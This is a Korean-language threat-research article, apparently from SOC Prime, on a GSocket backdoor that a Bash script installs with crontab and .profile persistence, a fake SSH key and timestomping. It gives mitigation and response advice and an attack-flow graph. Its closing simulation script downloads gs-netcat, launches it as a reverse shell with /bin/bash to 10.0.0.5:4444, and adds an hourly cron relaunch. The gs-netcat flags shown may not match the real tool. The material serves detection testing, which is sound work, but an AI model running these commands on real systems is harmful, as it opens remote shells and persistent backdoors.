SOC Prime Bias: 중간

24 3월 2026 14:37

GSocket 백도어, Bash 스크립트를 통해 배포

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
GSocket 백도어, Bash 스크립트를 통해 배포
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

무기화된 Bash 스크립트가 GSocket 클라이언트(gs-netcat)를 다운로드하여 리눅스와 macOS 호스트에 백도어를 설치합니다. 이 백도어는 crontab 작업과 .profile 수정 통해 지속성을 유지하며, 공유 비밀을 가짜 SSH 키 파일 안에 저장합니다. 포렌식 가시성을 줄이기 위해 스크립트는 타임스탬프를 수정하고 파일 수정의 흔적을 감추는 반포렌식 방법을 사용합니다. 결과적인 백도어는 GSocket 중계 네트워크를 통해 외부의 원격 IP로 통신합니다.

조사

연구자가 샌드박스에서 스크립트를 폭파하여 gs-netcat 바이너리, crontab 기반 지속성 엔트리 생성, 사용자 시작 파일 조작을 확인했습니다. id_rsa 라는 가짜 ELF 파일이 .ssh 디렉토리에 떨어지며, 공유 비밀이 SSH 키로 보이는 요소 내에 내장되어 있습니다. 타임스탬프 재설정 루틴도 식별되어 포렌식 타임라인을 흐리기 위한 의도적인 노력이 드러났습니다. 스크립트는 먼저 호스트 OS를 탐지하여 여러 유닉스 계열 시스템을 지원합니다.

완화

방어자는 알려진 GSocket 릴레이 도메인 및 IP 주소로의 외부 트래픽을 차단하고, 허가되지 않은 crontab 엔트리 또는 .profile and .ssh 경로에 대한 수상한 변경을 주시해야 합니다. 호스트 기반 감지 논리가 gs-netcat 파일 이름 및 타임스탬프를 조작하는 데 일반적으로 사용되는 명령을 플래그하도록 설정해야 합니다. 최소권한 제어 및 시작 파일에 대한 무결성 모니터링은 백도어가 눈에 띄지 않게 지속성을 유지하는 능력을 더욱 제한할 수 있습니다.

반응

만약 이러한 지표가 나타나면, 호스트를 격리하고 악성 스크립트 및 배포된 바이너리를 확보하며, 포렌식 검토를 시작하십시오. crontab 지속성 메커니즘 및 모든 악성 아티팩트를 제거하고, 영향을 받은 SSH 키를 교체하며, 모든 공유 비밀을 무효화하십시오. 환경 전반에 걸쳐 일치하는 지표를 사냥하고 유사한 활동을 포착하기 위해 감지 콘텐츠를 새로 고치십시오.

"graph TB %% 클래스 정의 classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% 기술 노드 tech_initial_user_execution["<b>기술</b> – <b>T1204.004 사용자 실행</b>: 사용자가 실행한 악성 Bash 스크립트."] class tech_initial_user_execution technique tech_persistence_cron["<b>기술</b> – <b>T1053.003 예약된 작업 작업 Crontab</b>: 매 시간마다 disguise된 gsu2011netcat 바이너리를 죽였다가 다시 시작하는 cron 작업."] class tech_persistence_cron technique tech_boot_init["<b>기술</b> – <b>T1037 부트 로그인 초기화 스크립트</b>: 사용자 ".profile"에 악성 명령을 삽입하여 지속성을 유지합니다."] class tech_boot_init technique tech_compromise_binary["<b>기술</b> – <b>T1554 호스트 소프트웨어 바이너리 손상</b>: gsu2011netcat가 ~/.ssh/putty에 복사되고 id_rsa로 가장됩니다."] class tech_compromise_binary technique tech_private_keys["<b>기술</b> – <b>T1552.004 안전하지 않은 자격 증명 개인 키</b>: 공유 비밀이 가짜 SSH 개인 키 내부에 저장됩니다."] class tech_private_keys technique tech_timestomp["<b>기술</b> – <b>T1070.006 타임스탐프</b>: 파일 변조를 숨기기 위한 사용자 정의 타임스탬프 추적 및 복원."] class tech_timestomp technique tech_time_evasion["<b>기술</b> – <b>T1497.003 가상화 샌드박스 회피 시간 기반</b>: 분석 환경 회피를 위한 타임스탬프 조작."] class tech_time_evasion technique tech_protocol_tunneling["<b>기술</b> – <b>T1572 프로토콜 터널링</b>: 네트워크 트래픽이 GSocket 중계 네트워크를 통해 터널링됩니다."] class tech_protocol_tunneling technique tech_proxy_multi["<b>기술</b> – <b>T1090 다중 단계 프록시</b>: GSocket CDN을 통해 내부 및 외부 프록시를 위한 트래픽 전달."] class tech_proxy_multi technique tech_ssh_lateral["<b>기술</b> – <b>T1021.004 원격 서비스 SSH</b> / <b>T1563.001 SSH 하이재킹</b>: gsu2011netcat가 lateral movement를 위해 SSH 키로 가장하여 실행."] class tech_ssh_lateral technique %% 도구 노드 tool_gsnetcat["<b>도구</b> – <b>이름</b>: gsu2011netcat<br/><b>설명</b>: 은밀한 명령 및 제어를위한 Netcat 변형."] class tool_gsnetcat tool tool_gsocket["<b>도구</b> – <b>이름</b>: GSocket CDN<br/><b>설명</b>: 터널링 및 프록시 서비스를 제공하는 중계 네트워크."] class tool_gsocket tool %% 공격 흐름 연결 tech_initial_user_execution –>|활성화| tech_persistence_cron tech_persistence_cron –>|활성화| tech_boot_init tech_boot_init –>|활성화| tech_compromise_binary tech_compromise_binary –>|사용| tool_gsnetcat tech_compromise_binary –>|활성화| tech_private_keys tech_private_keys –>|지원| tech_timestomp tech_timestomp –>|지원| tech_time_evasion tech_time_evasion –>|활성화| tech_protocol_tunneling tech_protocol_tunneling –>|사용| tool_gsocket tool_gsocket –>|용이| tech_proxy_multi tech_proxy_multi –>|활성화| tech_ssh_lateral tech_ssh_lateral –>|사용| tool_gsnetcat

공격 흐름

시뮬레이션 실행

전제조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

  • 공격 내러티브 및 명령:
    제한된 권한을 가진 공격자가 gs-netcat 바이너리를 공용 리포지토리에서 가져와 /usr/local/bin에 배치하고, 포트 4444에서 역셸을 열기 위해 실행합니다. 접근을 유지하기 위해, 공격자는 백도어를 매 시간마다 다시 시작하는 crontab 작업을 생성합니다. 이러한 단계들은 타겟 호스트에서 타협된 셸을 통해 수행됩니다.

  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 1. gs-netcat 다운로드(작은 자리 표시자 바이너리로 시뮬레이션됨)
    echo "[*] gs-netcat 자리 표시자 다운로드 중 ..."
    curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
    chmod +x /usr/local/bin/gs-netcat
    
    # 2. 백그라운드에서 gs-netcat 시작(공격자 IP 10.0.0.5로 역셸)
    echo "[*] gs-netcat 역셸 시작 중 ..."
    /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
    GSN_PID=$!
    
    # 3. 프로세스 실행 확인
    sleep 2
    ps -p "$GSN_PID" -o pid,cmd
    
    # 4. 매 시간마다 gs-netcat을 다시 시작하는 cron 작업 생성
    echo "[*] crontab 지속성 추가 중 ..."
    (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
    
    echo "[+] 시뮬레이션 완료. 감지 대기 중."
  • 정리 명령:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 위에 추가된 crontab 항목 제거
    echo "[*] 악성 crontab 항목 제거 중 ..."
    crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
    
    # 현재 실행중인 gs-netcat 프로세스 종료
    echo "[*] gs-netcat 프로세스 종료 중 ..."
    pkill -f "/usr/local/bin/gs-netcat" || true
    
    # 바이너리 삭제
    echo "[*] gs-netcat 바이너리 삭제 중 ..."
    rm -f /usr/local/bin/gs-netcat
    
    echo "[+] 정리 완료."